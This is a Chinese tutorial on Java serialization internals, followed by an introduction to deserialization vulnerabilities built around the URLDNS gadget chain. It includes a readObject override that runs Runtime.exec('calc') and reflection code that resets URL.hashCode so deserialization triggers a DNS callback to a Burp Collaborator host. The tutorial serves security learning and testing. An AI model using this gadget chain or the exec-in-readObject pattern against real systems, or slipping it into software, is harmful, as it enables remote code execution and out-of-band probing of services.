Java反序列化漏洞专题-基础篇(urlDNS)
 
1 概述 序列化与反序列化  Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。
序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。
为什么需要序列化与反序列化  我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。
 当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。
① 想把内存中的对象保存到一个文件中或者数据库中时候; ② 想用套接字在网络上传送对象的时候; ③ 想通过RMI传输对象的时候
一些应用场景,涉及到将对象转化成二进制,序列化保证了能够成功读取到保存的对象。
几种常见的序列化和反序列化协议 
XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点,SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议
2 序列化实现  只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常) 
Serializable 接口
是 Java 提供的序列化接口,它是一个空接口
1 2 public  interface  Serializable  {} 
 
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。
Serializable 接口的基本使用 通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象即可。
Serializable 接口的特点 
序列化类的属性没有实现 Serializable 那么在序列化就会报错 
 
1 具体可以跟进 ObjectOutputStream#writeObject() 源码查看具体原因: 
 
1 Exception in thread "main"  java.io.NotSerializableException: com.example.seriable.Color 
 
1 2 3 4 5 6 7 8 9 public  class  Student  implements  Serializable  {  private  String name;   private  int  age;      private  Color color; } 
 
在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。 
 
Animal 是父类,它没有实现 Serilizable 接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  class  Animal  {    private  String color; public  Animal ()  {    System.out.println("调用 Animal 无参构造" ); }   public  Animal (String color)  {    this .color = color;           System.out.println("调用 Animal 有 color 参数的构造" ); }   @Override public  String toString ()  {    return  "Animal{"  +             "color='"  + color + '\''  +             '}' ; } } 
 
BlackCat 是 Animal 的子类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public  class  BlackCat  extends  Animal  implements  Serializable  {    private  static  final  long  serialVersionUID  =  1L ;     private  String name; public  BlackCat ()  {    super ();     System.out.println("调用黑猫的无参构造" ); }   public  BlackCat (String color, String name)  {    super (color);     this .name = name;     System.out.println("调用黑猫有 color 参数的构造" ); }   @Override public  String toString ()  {    return  "BlackCat{"  +             "name='"  + name + '\''  +super .toString() +'\''  +             '}' ; } } 
 
SuperMain 测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public  class  SuperMain  {    private  static  final  String  FILE_PATH  =  "./super.bin" ; public  static  void  main (String[] args)  throws  Exception {    serializeAnimal();     deserializeAnimal(); }   private  static  void  serializeAnimal ()  throws  Exception {    BlackCat  black  =  new  BlackCat ("black" , "我是黑猫" );     System.out.println("序列化前:" +black.toString());     System.out.println("=================开始序列化================" );     ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream (FILE_PATH));     oos.writeObject(black);     oos.flush();     oos.close(); }   private  static  void  deserializeAnimal ()  throws  Exception {    System.out.println("=================开始反序列化================" );     ObjectInputStream  ois  =  new  ObjectInputStream (new  FileInputStream (FILE_PATH));     BlackCat  black  =  (BlackCat) ois.readObject();     ois.close();     System.out.println(black); } } 
 
输出结果
1 2 3 4 5 6 7 调用 Animal 有 color 参数的构造 调用黑猫有 color 参数的构造 序列化前:BlackCat{name='我是黑猫' Animal{color='black' }'}  =================开始序列化================ =================开始反序列化================ 调用 Animal 无参构造 BlackCat{name=' 我是黑猫'Animal{color=' null '}' }
 
从上面的执行结果来看,如果要序列化的对象的父类 Animal 没有实现序列化接口,那么在反序列化时是会调用对应的无参构造方法的,这样做的目的是重新初始化父类的属性,例如 Animal 因为没有实现序列化接口,因此对应的 color 属性就不会被序列化,因此反序列得到的 color 值就为 null。
对上面的2个操作文件流的类的简单说明
ObjectOutputStream代表对象输出流:
它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
ObjectInputStream代表对象输入流:
它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。 3. 一个实现 Serializable 接口的子类也是可以被序列化的。
静态成员变量是不能被序列化 
 
序列化是针对对象属性的,而静态成员变量是属于类的。
transient 标识的对象成员变量不参与序列化 在下面这个栗子中,MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程啦,具体的做法是写以下两个 private 方法: 
 
1 2 private  void  writeObject (java.io.ObjectOutputStream s) throws  java.io.IOExceptionprivate  void  readObject (java.io.ObjectInputStream s) throws  java.io.IOException, ClassNotFoundException
 
从这两个方法的名字就可以看出分别是序列化写入数据和反序列化读取数据用的,那么这两个方法是在哪里使用呢?其实在序列化和反序列化过程中会通过反射调用的,具体下面会分析这个过程哦。
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 public  class  MyList  implements  Serializable  {private  String name;  private  transient  Object[] arr;  public  MyList ()  {}   public  MyList (String name)  {    this .name = name;     this .arr = new  Object [100 ];          for  (int  i  =  0 ; i < 30 ; i++) {         this .arr[i] = i;     } }   @Override public  String toString ()  {    return  "MyList{"  +             "name='"  + name + '\''  +             ", arr="  + Arrays.toString(arr) +             '}' ; }     private  void  writeObject (java.io.ObjectOutputStream s)         throws  java.io.IOException {          s.defaultWriteObject();            for  (int  i  =  0 ; i < 30 ; i++) {         s.writeObject(arr[i]);     } }   private  void  readObject (java.io.ObjectInputStream s)         throws  java.io.IOException, ClassNotFoundException {       s.defaultReadObject();     arr = new  Object [30 ];            for  (int  i  =  0 ; i < 30 ; i++) {         arr[i] = s.readObject();     } } } 
 
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public  class  TransientMain  {    private  static  final  String  FILE_PATH  =  "./transient.bin" ;     public  static  void  main (String[] args)  throws  Exception {         serializeMyList();     deserializeMyList(); }   private  static  void  serializeMyList ()  throws  Exception {    System.out.println("序列化..." );     MyList  myList  =  new  MyList ("ArrayList" );     ObjectOutputStream  oos  =  new  ObjectOutputStream (new  FileOutputStream (FILE_PATH));     oos.writeObject(myList);     oos.flush();     oos.close(); }   private  static  void  deserializeMyList ()  throws  Exception {    System.out.println("反序列化..." );     ObjectInputStream  ois  =  new  ObjectInputStream (new  FileInputStream (FILE_PATH));     MyList  myList  =  (MyList) ois.readObject();     ois.close();     System.out.println(myList); } } 
 
测试输出结果
1 2 3 4 5 序列化... writeObject... 反序列化... readObject... MyList{name='ArrayList' , arr=[0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 , 16 , 17 , 18 , 19 , 20 , 21 , 22 , 23 , 24 , 25 , 26 , 27 , 28 , 29 ]} 
 
6.Serializable 在序列化和反序列化过程中大量使用了反射,因此其过程会产生的大量的内存碎片
serialVersionUID与兼容性问题
3 序列化ID 可以看到,我们在进行序列化时,加了一个serialVersionUID字段,这便是序列化ID
1 private  static  final  long  serialVersionUID  =  1L ;
 
这个序列化ID起着关键的作用,它决定着是否能够成功反序列化!java的序列化机制是通过判断运行时类的serialVersionUID来验证版本一致性的,在进行反序列化时,JVM会把传进来的字节流中的serialVersionUID与本地实体类中的serialVersionUID进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。
即序列化ID是为了保证成功进行反序列化
如何生成这个 serialVersionUID呢? 1.使用 AS plugin 插件就可以生成 2.在JDK中,可以利用 JDK 的 bin 目录下的 serialver 工具产生这个serialVersionUID,对于 Student.class,执行命令:serialver com.example.seriable.Student
1 2 ➜  classes git:(master) ✗ /Library/Java/JavaVirtualMachines/jdk1.8 .0_111 .jdk/Contents/Home/bin/serialver com.example.seriable.Student  com.example.seriable.Student:    private  static  final  long  serialVersionUID  =  -6840182814363029482L ; 
 
使用 AS plugin 的方式应该底层也是使用到这个 JDK 工具去生成的 SerialVersionUID 值,测试结果来看这两个生成的值是一样的。
serialVersionUID 的兼容性问题是什么? 具体的兼容性问题如下:
1 2 java.io.InvalidClassException: com.example.seriable.Student; local class  incompatible : stream classdesc  serialVersionUID  =  -926212341182608815 , local class  serialVersionUID  = -6840182814363029482 
 
关于这个异常,它是属于兼容问题异常,是发生在反序列化阶段,检测到 serialVersionUID 不一致导致的。具体的分析如下:
序列化时使用的 serialVersionUID = -926212341182608815L,如果期间属性被修改了,如果 serialVersionUID 发生改变 -6840182814363029482 ,那么 反序列化时就会出现类不兼容问题。 serialVersionUID 发生改变有三种情况:
手动去修改导致当前的 serialVersionUID 与序列化前的不一样。
 
我们根本就没有手动去写这个 serialVersionUID 常量,那么 JVM 内部会根据类结构去计算得到这个 serialVersionUID 值,在类结构发生改变时(属性增加,删除或者类型修改了)这种也是会导致 serialVersionUID 发生变化。
 
假如类结构没有发生改变,并且没有定义 serialVersionUID ,但是反序列和序列化操作的虚拟机不一样也可能导致计算出来的 serialVersionUID 不一样。
 
 
JVM 规范强烈建议我们手动声明一个版本号,这个数字可以是随机的,只要固定不变就可以。同时最好是 private 和 final 的,尽量保证不变。
默认的序列化ID 当我们一个实体类中没有显式的定义一个名为“serialVersionUID”、类型为long的变量时,Java序列化机制会根据编译时的class自动生成一个serialVersionUID作为序列化版本比较,这种情况下,只有同一次编译生成的class才会生成相同的serialVersionUID。譬如,当我们编写一个类时,随着时间的推移,我们因为需求改动,需要在本地类中添加其他的字段,这个时候再反序列化时便会出现serialVersionUID不一致,导致反序列化失败。那么如何解决呢?便是在本地类中添加一个“serialVersionUID”变量,值保持不变,便可以进行序列化和反序列化。
如果没有显示指定serialVersionUID,会自动生成一个。 
只有同一次编译生成的class才会生成相同的serialVersionUID
但是如果出现需求变动,Bean类发生改变,则会导致反序列化失败。为了不出现这类的问题,所以我们最好还是显式的指定一个serialVersionUID。
4 Externalizable 接口 Serializable 接口内部序列化是 JVM 自动实现的,如果我们想自定义序列化过程,就可以使用以上这个接口来实现,它内部提供两个接口方法:
1 2 3 4 5 6 public  interface  Externalizable  extends  Serializable  {  	     void  writeExternal (ObjectOutput var1)  throws  IOException; 		     void  readExternal (ObjectInput var1)  throws  IOException, ClassNotFoundException; } 
 
Externalizable 的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public  class  Person  implements  Externalizable  {private  static  final  long  serialVersionUID  =  -7424420983806112577L ;private  String name;private  int  age;public  Person ()  {    System.out.println("Person: empty" ); }   public  Person (String name, int  age)  {    this .name = name;     this .age = age; }   @Override public  void  writeExternal (ObjectOutput out)  throws  IOException {    System.out.println("person writeExternal..." );     out.writeObject(name);     out.writeInt(age); }   @Override public  void  readExternal (ObjectInput in)  throws  ClassNotFoundException, IOException {    System.out.println("person readExternal..." );       name = (String) in.readObject();     age = in.readInt(); }   @Override public  String toString ()  {    return  "Person{"  +             "name='"  + name + '\''  +             ", age="  + age +             '}' ; } } 
 
测试 Person 对象的序列化和反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public  class  ExternalizableMain  {    private  static  final  String  FILE_PATH  =  "../person.bin" ; public  static  void  main (String[] args)  throws  IOException, ClassNotFoundException {      Person  person  =  new  Person ("zhangsan" , 15 );     System.out.println(person.toString());     serializable(person, FILE_PATH);     System.out.println("============反序列化=============" );     person = (Person) deserializable(FILE_PATH);     System.out.println(person.toString()); }   private  static  void  serializable (Object o, String path)  throws  IOException {    FileOutputStream  boas  =  new  FileOutputStream (path);     ObjectOutputStream  oos  =  new  ObjectOutputStream (boas);     oos.writeObject(o);     oos.close();     boas.close(); }   private  static  Object deserializable (String path)  throws  IOException, ClassNotFoundException {    ObjectInputStream  bis  =  new  ObjectInputStream (new  FileInputStream (path));     Object  obj  =  bis.readObject();     return  obj; } } 
 
测试输出结果:
1 2 3 4 5 6 Person{name='zhangsan' , age=15 } person writeExternal... ============反序列化============= Person: empty person readExternal... Person{name='zhangsan' , age=15 } 
 
5 Java 的序列化步骤与数据结构分析 序列化算法一般会按步骤做如下事情:
将对象实例相关的类元数据输出。 递归地输出类的超类描述直到不再有超类。 类元数据完了以后,开始从最顶层的超类开始输出对象实例的实际数据值。 从上至下递归输出实例的数据 也许你看上面这几个步骤会有点懵逼,不过实际的序列化过程就是按照上面的步骤进行的,看完这个就开始 writeObject 和 readObject 源码解读,而 writeObejct 的过程就是上面的4个步骤。
readObject/writeObject原理分析 
 
writeObject 原理分析 ObjectOutputStream 构造函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public  ObjectOutputStream (OutputStream out)  throws  IOException {    verifySubclass();     bout = new  BlockDataOutputStream (out);     handles = new  HandleTable (10 , (float ) 3.00 );     subs = new  ReplaceTable (10 , (float ) 3.00 );     enableOverride = false ;     writeStreamHeader();     bout.setBlockDataMode(true );     if  (extendedDebugInfo) {         debugInfoStack = new  DebugTraceInfoStack ();     } else  {         debugInfoStack = null ;     } } 
 
①bout:用于写入一些类元数据还有对象中基本数据类型的值,在下面会分析。
②enableOverride :false 表示不支持重写序列化过程,如果为 true ,那么需要重写 writeObjectOverride 方法。这个一般不用管它。
③writeStreamHeader() 写入头信息,具体看下面分析。
1 2 3 4 5 6 ObjectOutputStream#writeStreamHeader() protected  void  writeStreamHeader ()  throws  IOException {    bout.writeShort(STREAM_MAGIC);     bout.writeShort(STREAM_VERSION); } 
 
①STREAM_MAGIC 声明使用了序列化协议,bout 就是一个流,将对应的头数据写入该流中
②STREAM_VERSION 指定序列化协议版本
ObjectOUtStream#writeObject(obj); 上面是 ObjectOutStream 构造中做的事,下面来看看具体 writeObject 方法内部做了什么事?
1 2 3 4 5 6 7 8 9 10 11 public  final  void  writeObject (Object obj)  throws  IOException {    if  (enableOverride) {         writeObjectOverride(obj);         return ;     }     try  {         writeObject0(obj, false );     } catch  (IOException ex) {         ...     } } 
 
ObjectOutStream#writeObject0()
private void writeObject0(Object obj, boolean unshared)     throws IOException
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 {     ...     try  {           Object  orig  =  obj;     Class<?> cl = obj.getClass();     ObjectStreamClass desc;              desc = ObjectStreamClass.lookup(cl, true );     ...          if  (obj instanceof  Class) {         writeClass((Class) obj, unshared);     } else  if  (obj instanceof  ObjectStreamClass) {         writeClassDesc((ObjectStreamClass) obj, unshared);          } else  if  (obj instanceof  String) {         writeString((String) obj, unshared);     } else  if  (cl.isArray()) {         writeArray(obj, desc, unshared);     } else  if  (obj instanceof  Enum) {         writeEnum((Enum<?>) obj, desc, unshared);     } else  if  (obj instanceof  Serializable) {         writeOrdinaryObject(obj, desc, unshared);     } else  {     		         if  (extendedDebugInfo) {             throw  new  NotSerializableException (                 cl.getName() + "\n"  + debugInfoStack.toString());         } else  {             throw  new  NotSerializableException (cl.getName());         }     } }  ... } 
 
① lookup 函数用于查找当前类的 ObjectStreamClass ,它是用于描述一个类的结构信息的,通过它就可以获取对象及其对象属性的相关信息,并且它内部持有该对象的父类的 ObjectStreamClass 实例。其内部大量使用了反射,读者可以去看看这个类的源码。下面看看它的构造函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private  ObjectStreamClass (final  Class<?> cl)  {    this .cl = cl;     name = cl.getName();     isProxy = Proxy.isProxyClass(cl);     isEnum = Enum.class.isAssignableFrom(cl);     serializable = Serializable.class.isAssignableFrom(cl);     externalizable = Externalizable.class.isAssignableFrom(cl);     Class<?> superCl = cl.getSuperclass();   	     superDesc = (superCl != null ) ? lookup(superCl, false ) : null ; 		     localDesc = this ; 		... } 
 
② 根据 obj 的类型去执行序列化操作,如果不符合序列化要求,那么会③位置抛出 NotSerializableException 异常。
在上面描述过,如果一个需要序列化的对象的某个属性没有实现序列化接口,那么就会此处抛出异常。读者可以自行验证。 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ObjectOutputStream#writeOrdinaryObject private  void  writeOrdinaryObject (Object obj,                                  ObjectStreamClass desc,                                  boolean  unshared)     throws  IOException {     ...     try  {         desc.checkSerialize();                  bout.writeByte(TC_OBJECT);                  writeClassDesc(desc, false );         handles.assign(unshared ? null  : obj);                  if  (desc.isExternalizable() && !desc.isProxy()) {             writeExternalData((Externalizable) obj);         } else  {         		             writeSerialData(obj, desc);         }     } finally  {         if  (extendedDebugInfo) {             debugInfoStack.pop();         }     } } 
 
①写入类的元数据,TC_OBJECT. 声明这是一个新的对象,如果写入的是一个 String 类型的数据,那么就需要 TC_STRING 这个标识。
②writeClassDesc 方法主要作用就是自上而下(从父类写到子类,注意只会遍历那些实现了序列化接口的类)写入描述信息。该方法内部会不断的递归调用,我们只需要关系这个方法是写入描述信息就好了,读者可以查阅一下源码。
从这里可以知道,序列化过程需要额外的写入很多数据,例如描述信息,类数据等,因此序列化后占用的空间肯定会更大。
③ desc.isExternalizable() 判断需要序列化的对象是否实现了 Externalizable 接口,这个在上面已经演示过怎么使用的,在序列化过程就是在这个地方进行判断的。如果有,那么序列化的过程就会由程序员自己控制了哦,writeExternalData 方法会回调,在这里就可以愉快地编写需要序列化的数据拉。
④ writeSerialData 在没有实现 Externalizable 接口时,就执行这个方法
ObjectOutputstream#writeSerialData
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 private  void  writeSerialData (Object obj, ObjectStreamClass desc)     throws  IOException { 		     ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();     for  (int  i  =  0 ; i < slots.length; i++) {          ObjectStreamClass  slotDesc  =  slots[i].desc;          if  (slotDesc.hasWriteObjectMethod()) {         PutFieldImpl  oldPut  =  curPut;         curPut = null ;         SerialCallbackContext  oldContext  =  curContext;         if  (extendedDebugInfo) {             debugInfoStack.push(                 "custom writeObject data (class \""  +                 slotDesc.getName() + "\")" );         }         try  {             curContext = new  SerialCallbackContext (obj, slotDesc);             bout.setBlockDataMode(true );             slotDesc.invokeWriteObject(obj, this );             bout.setBlockDataMode(false );             bout.writeByte(TC_ENDBLOCKDATA);         } finally  {             curContext.setUsed();             curContext = oldContext;             if  (extendedDebugInfo) {                 debugInfoStack.pop();             }         }         curPut = oldPut;     } else  {         defaultWriteFields(obj, slotDesc);     } } } 
 
① desc.getClassDataLayout 会返回 ObjectStreamClass.ClassDataSlot[] ,我们来看看 ClassDataSlot 类,可以看到它是封装了 ObjectStreamClass 而已,所以我们就简单的认为 ① 这一步就是用于返回序列化对象及其父类的 ClassDataSlot[] 数组,我们可以从 ClassDataSlot 中获取对应 ObjectStreamClass 描述信息。
1 2 3 4 5 6 7 8 9 10 static  class  ClassDataSlot  {         final  ObjectStreamClass desc;          final  boolean  hasData;     ClassDataSlot(ObjectStreamClass desc, boolean  hasData) {         this .desc = desc;         this .hasData = hasData;     } } 
 
② 开始遍历返回的数组,slotDesc 这个我们就简单将其看成对一个对象的描述吧。hasWriteObjectMethod 表示的是什么呢?这个其实就是你要序列化这个对象是否有 writeObject 这个 private 方法,注意哦,这个方法并不是任何接口的方法,而是我们手动写的,读者可以参考 ArrayList 代码,它内部就有这个方法。那么这个方法的作用是什么呢?这个方法我们在上面也演示过具体的使用,它就是用于自定义序列化过程的,读者可以返回到上面看看如果使用这个 writeObject 实现自定义序列化过程的。注意:其实这个过程不像实现 Externalizable 接口那样,自己完全去自定义序列化数据。
1 2 3 4 5 6 7 8 9 private  void  writeObject (java.io.ObjectOutputStream s)         throws  java.io.IOException {          s.defaultWriteObject();          for  (int  i  =  0 ; i < 30 ; i++) {         s.writeObject(arr[i]);     } } 
 
③ defaultWriteFields 这个方法就是 JVM 自动帮我们序列化了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 private  void  defaultWriteFields (Object obj, ObjectStreamClass desc)     throws  IOException {     Class<?> cl = desc.forClass(); desc.checkDefaultSerialize(); int  primDataSize  =  desc.getPrimDataSize();if  (primVals == null  || primVals.length < primDataSize) {    primVals = new  byte [primDataSize]; } desc.getPrimFieldValues(obj, primVals); bout.write(primVals, 0 , primDataSize, false ); ObjectStreamField[] fields = desc.getFields(false ); Object[] objVals = new  Object [desc.getNumObjFields()]; int  numPrimFields  =  fields.length - objVals.length;desc.getObjFieldValues(obj, objVals); for  (int  i  =  0 ; i < objVals.length; i++) {    if  (extendedDebugInfo) {         debugInfoStack.push(             "field (class \""  + desc.getName() + "\", name: \""  +             fields[numPrimFields + i].getName() + "\", type: \""  +             fields[numPrimFields + i].getType() + "\")" );     }     try  {         writeObject0(objVals[i],                      fields[numPrimFields + i].isUnshared());     } finally  {         if  (extendedDebugInfo) {             debugInfoStack.pop();         }     } } } 
 
这个方法主要分为以下两步
① 写入基本数据类型的数据 ②写入引用数据类型的数据,这里最终又调用到了 writeObject0() 方法,读者可以返回到上面去看看具体的实现。 好了,Serialzable 序列化的源码分析就完成了。
readObject 原理分析 从流中读取类的描述信息 ObjectStreamClass 实例,通过这个对象就可以创建出序列化的对象。
1 2 3 4 5 6 7 8 9 10 11 ObjectStreamClass  desc  =  readClassDesc(false );...   Object obj; try  {  	     obj = desc.isInstantiable() ? desc.newInstance() : null ; } catch  (Exception ex) {     throw  (IOException) new  InvalidClassException (         desc.forClass().getName(),         "unable to create instance" ).initCause(ex); } 
 
读取该对象及其对象的父类的 ObjectStreamClass信息
1 ObjectStreamClass.ClassDataSlot[] slots =  desc.getClassDataLayout() 
 
然后遍历得到每一个 ObjectStreamClass 对象,将对应的属性值赋值给需要反序列化的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private  void  defaultReadFields (Object obj, ObjectStreamClass desc)     throws  IOException {     Class<?> cl = desc.forClass();     if  (cl != null  && obj != null  && !cl.isInstance(obj)) {         throw  new  ClassCastException ();     }     int  primDataSize  =  desc.getPrimDataSize();     if  (primVals == null  || primVals.length < primDataSize) {         primVals = new  byte [primDataSize];     }     bin.readFully(primVals, 0 , primDataSize, false );     if  (obj != null ) {         desc.setPrimFieldValues(obj, primVals);     }     int  objHandle  =  passHandle;          ObjectStreamField[] fields = desc.getFields(false );     Object[] objVals = new  Object [desc.getNumObjFields()];     int  numPrimFields  =  fields.length - objVals.length;     for  (int  i  =  0 ; i < objVals.length; i++) {         ObjectStreamField  f  =  fields[numPrimFields + i];         objVals[i] = readObject0(f.isUnshared());         if  (f.getField() != null ) {             handles.markDependency(objHandle, passHandle);         }     }     if  (obj != null ) {     		         desc.setObjFieldValues(obj, objVals);     }     passHandle = objHandle; } 
 
好了,以上就是基本的反序列化 readObject 的过程,这个过程基本是跟 writeObject 差不多,因此简单的列举了关键步骤而已
漏洞相关 可能的形式 
入口类的readObject直接调用危险函数 
入口类参数中包含可控类,该类有危险方法,readObject时调用 
入口类参数中包含可控类,该类又调用其它有危险函数的类 
构造函数/静态代码块等类加载隐式执行 
 
1.入口类的readObject直接调用危险函数
比如重写readObject,添加危险函数。
1 2 3 4 private  void readObject(ObjectInputStream ois )  throws IOException , ClassNotFoundException{    ois.defaultReadObject() ;     Runtime . getRuntime() .exec("calc" ); } 
 
2.入口类参数中包含可控类,该类有危险方法,readObject时调用
共同条件,继承Serializable
入口类 source(重写readObject(调用常见函数) 参数类型宽泛,最好jdk自带) 比如map作为入口类
比如:
ctrl点击跟进去,
可以看到重写了readObject
点击跟进去,最后是对key进行了hash
继续到跟到hashcode
可以看到大概的一些类
3.调用链 gadget chain 相同名称 ,相同类型 
4.执行类sink (rce ssrf写文件等等)
URLDNS http一般是用URL
CTRL点击跟进去,发现URL继承了Serializable这个接口,可以序列化。
一般写法是调用openconnection方法来写的,最终跟到了urlconnection显然是不能反序列化的,而且一般也没有同名函数叫openconnection
这个时候我们想的应该是找一个常见的同名函数,也即比如hashCode
首先会判断hashCode的值,当hashCode不为-1就直接返回hashCode(默认-1),不执行下一步。先不管,我们再跟handler.hashCode
里面有getHostAddress,顾名思义应该会对传进来的值做域名的解析。跟进去可以看出会进行DNS查询。
所有结合上面例子讲的可以构造这样的链子
1 2 3 4 5 6 HashMap->readObject HashMap->putval HashMap->hash URL->hashCode URLStreamHandler->hashCode URLStreamHandler->getHostAddress 
 
入口类 HashMap 
执行类 URL 
我们改改代码
发现直接序列化就收到了dns解析,显然是不符合我们预期的。
我们跟进去put
发现他直接就会做一个hash的操作,没有达到我们预期的效果。而后面由于我们传入的url进去,反序列化时hashCode的值会改变,也即不是-1。所以反序列化的时候不会解析dns。
思考:想要反序列化,也即需要首先
不发起请求,而且hashCode改为-1,反序列化的时候就可以解析dns
这里可以用java反射的知识
我们这里改为
1 2 3 4 5 6 URL  url  =  new  URL ("http://kj7cgaecm74q1ub7cy3ooq4pogu6iv.burpcollaborator.net" );    Class  c  =  url.getClass();     Field  HashcodeField  =  c.getDeclaredField("hashCode" );     HashcodeField.setAccessible(true );     HashcodeField.set(url,1234 );     hashmap.put(url,1 ); 
 
再尝试put,看看是否会有请求
发现这个时候是没有请求的
我们把hashCode改为-1,然后先序列化再反序列化,可以看到反序列化才收到了dns请求
调试 
直接hashCode下断点调试
直接反序列化debug看看
可以看到hashCode是-1,说明成功了
简单来说就是URL的hashCode可以dns解析,但是URL的readObject没有危险函数,而hashmap的readObject有
java发射 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package  com.company;import  java.lang.reflect.Constructor;import  java.lang.reflect.Field;import  java.lang.reflect.Method;public  class  ReflectionTest  {    public  static  void  main (String[] args)  throws  Exception{         Person  person  =  new  Person ();         Class  c  =  person.getClass();                                                      Constructor  personconstructor  =  c.getConstructor(String.class,int .class);           Person  p  =  (Person) personconstructor.newInstance("abv" ,22 );         System.out.println(p);                                             Field  namefield  =  c.getDeclaredField("age" );         namefield.setAccessible(true );         namefield.set(p,25 );         System.out.println(p);                                      } } 
 
反射的作用 
让java具有动态性 
修改已有对象的属性 
动态生成对象 
动态调用方法 
操作内部类和私有方法 
 
反序列化的漏洞 
定制需要的对象 
通过invoke调用除了同名函数以外的函数 
通过Class类创建对象,引入不能序列化的类 
 
动态代理 代理的一种模式
不修改原有的类,增加功能
反序列化中的作用
readObject > 反序列化自动执行
invoke > 有函数调用
拼接两条链
任意 > 固定
https://zhuanlan.zhihu.com/p/72644638 
类加载机制 https://blog.csdn.net/weixin_40236948/article/details/88072698 
https://juejin.cn/post/6844903564804882445 
其它 idea中如何显示structure
View→Tool Windows→Structure 快捷键为Alt+7